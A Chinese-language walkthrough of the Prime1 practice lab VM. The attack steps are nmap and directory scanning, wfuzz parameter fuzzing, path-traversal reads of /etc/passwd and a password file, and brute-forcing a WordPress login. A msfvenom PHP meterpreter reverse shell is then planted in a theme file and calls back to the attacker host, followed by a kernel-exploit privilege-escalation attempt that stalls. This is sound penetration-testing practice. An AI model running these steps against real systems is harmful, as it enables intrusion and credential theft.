Prime1靶机思路
这个靶机花了很多时间,一波三折,最后结果还不完美😭
一、信息收集
1、主机发现
nmap -sn 192.168.225.0/24
2、端口扫描
nmap --min-rate 10000 -p- 192.168.225.237
3、端口信息收集
nmap -sV -sT -O -p22,80 192.168.225.237
使用默认脚本扫端口
nmap --script=vuln 192.168.225.237
这里扫到了wordpress
二、攻击利用
看一下80端口,发现就一张图片
扫一下目录,发现的东西不多
访问了几个就这个/dev
目录有点提示
翻译如下
你好,现在你在0级阶段。
在实际的渗透测试中,我们应该使用我们的工具在网络上进行深入挖掘。
渗透愉快。
根据他的提示基本可以确定渗透点在web,它告诉我们要深入挖掘,基本就是要深度扫描web目录
这里继续扫一下/wordpress
目录
扫到了很多页面,我一个个访问后没有发现什么可以直接利用的点,就一个登录界面能看看
指定一些文件拓展名扫,比如txt,zip,html,php
dirsearch -e txt -u http://192.168.225.237
但是还是那些东西,应该是字典的原因
换dirb扫一下
dirb http://192.168.225.237 -X .txt,.zip,.html,.php
扫出来了别的东西
访问,得到提示
翻译如下
这里告诉我们要对我们发现的php页面进行模糊测试,location.txt直接访问不了,根据提示我们找到这个页面
上面直接告诉我们命令了,修改一下命令
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.225.237/index.php?FUZZ=
可以看到失败了
通过结果可以判断136 Ch是失败的(因为失败是大多数的情况,136 Ch东西太多了)所以过滤Chars列136 Ch试试
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.225.237/index.php?FUZZ=
成功找到一个参数
访问可以看到有一句话
http://192.168.225.237/index.php?file
这个时候就可以试试刚刚提示的location.txt
得到这句话
这句话告诉我们挖的更多使用secrettier360在另一个php页面
这里另一个页面应该是指image.php
构造url
http://192.168.225.237/image.php?secrettier360
这里告诉我们得到了正确的参数,应该是指url是对的
但看这个urlhttp://192.168.225.237/image.php?secrettier360=
可能有的漏洞如:sql注入、xss、文件包含、未授权访问、路径遍历
根据再结合这个页面看sql注入和xss基本可以排除,这里试试文件包含(文件包含相对价值更高一些)
http://192.168.225.237/image.php?secrettier360=../../../etc/passwd
成功访问到/etc/passwd文件
看不了/etc/shadow文件,这里分析一下/etc/passwd文件,这里我直接丢给了gpt,自己看有点费眼睛
通过上面gpt的分析我们可以看到victor用户是有bash权限的,这种也是我们重点关注的用户,还收获了意外的提示,告诉我们/home/saket目录下有密码文件
根据提示访问http://192.168.225.237/image.php?secrettier360=../../../../home/saket/password.txt
得到了一串字符,应该是密码,我看开了ssh服务,试试能不能连上
让gpt将这个用户名文件生成一个字典,千万注意,用户名后面不要有空格(被坑过),也可以自己写个脚本
root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
systemd-timesync
systemd-network
systemd-resolve
systemd-bus-proxy
syslog
_apt
messagebus
uuidd
lightdm
whoopsie
avahi-autoipd
avahi
dnsmasq
colord
speech-dispatcher
hplip
kernoops
pulse
rtkit
saned
usbmux
victor
mysql
saket
sshd
使用hydra -L 1.txt -p follow_the_ippsec 192.168.225.237 ssh
进行爆破
但是没有找到,说明并不是这里的密码
试试wordpress的登录框
做到这里才发现我这个跟别人不一样(一开始以为是插件的问题),登录根本没有跳转页面,数据包也没有,根本无法登录,试了好久,重开一个虚拟机也这样,这个靶机先放一下吧😥
=========================================================================================================接上面,不知道是电脑的问题还是虚拟机的问题,我在公司的电脑试了一下又是正常的,前面几天实习到时间了,处理离职的事,所以没管这个靶机,今天突然想着试试用virtual box试试,直接在vm里面将靶机导出为OVF,再在virtual box里面启动靶机,扫描网段发现主机,为192.168.133.200,浏览器访问一下,发现这样弄就没有问题(无语😓😓😓)
现在靶机ip为192.168.133.200 攻击机为192.168.133.42
继续按照上面的思路,尝试去使用他给提示的密码,这里抓了一下包发现是明文传输,然后又没有什么限制,直接尝试爆破
设置如下
这里payload就用前面hydra用到的payload
设置完后,攻击,按长度排序,可以看到结果里面有明显的长度不同
使用账号victor密码follow_the_ippsec登录,成功进入后台
进入后台后找利用点,首先考虑能不能文件上传,代码执行等等。这里找到了能够在线更改主题的地方。
使用msf生成一个php的后门
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.133.42 lport=9997 -f raw >./shell.php
将payload复制进入主题的php文件,删除/*
启动msf
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.133.42
set lport 9997
接下来就是要找到文件路径,我在后台翻了半天,并没有找到路径,那只能百度了
在这个/Wp-content/themes路径下拼接,主题名和文件名即可,访问后,成功连接
http://192.168.133.200/wordpress/wp-content/themes/twentynineteen/secret.php
(看其他师傅的文章,这里其实有泄露文件路径,实战过程中的系统不一定是开源的,所以还是要细心的去收集)
信息收集一下
sysinfo
getuid
cat /etc/crontab
cat /etc/shadow
find / -user root -perm -4000 -print 2>/dev/null
sudo -l
可以发现这个www权限低的可怜,能利用的点也很少,根据内核版本,找一下内核漏洞
找到了几个,本地提权漏洞
筛选一下 这里选择45010.c
把这个c文件弄下来
searchsploit -m 45010.c
编译一下
gcc 45010.c -o exp
将文件上传到靶机,这里tmp目录有权限(如果这还没成功可以考虑给exp文件,在kali上设置一下权限)
upload /home/kali/Desktop/exp /tmp
我这里出现了问题,glibc
版本不是需要的版本,找了本地所有的虚拟机都没这个版本
可以考虑用docker拉一个,去装Ubuntu,然后安装glibc 2.34,我这里代理出了问题后面就不演示了
装好glibc 2.34后,编译exp,上传靶机运行exp即可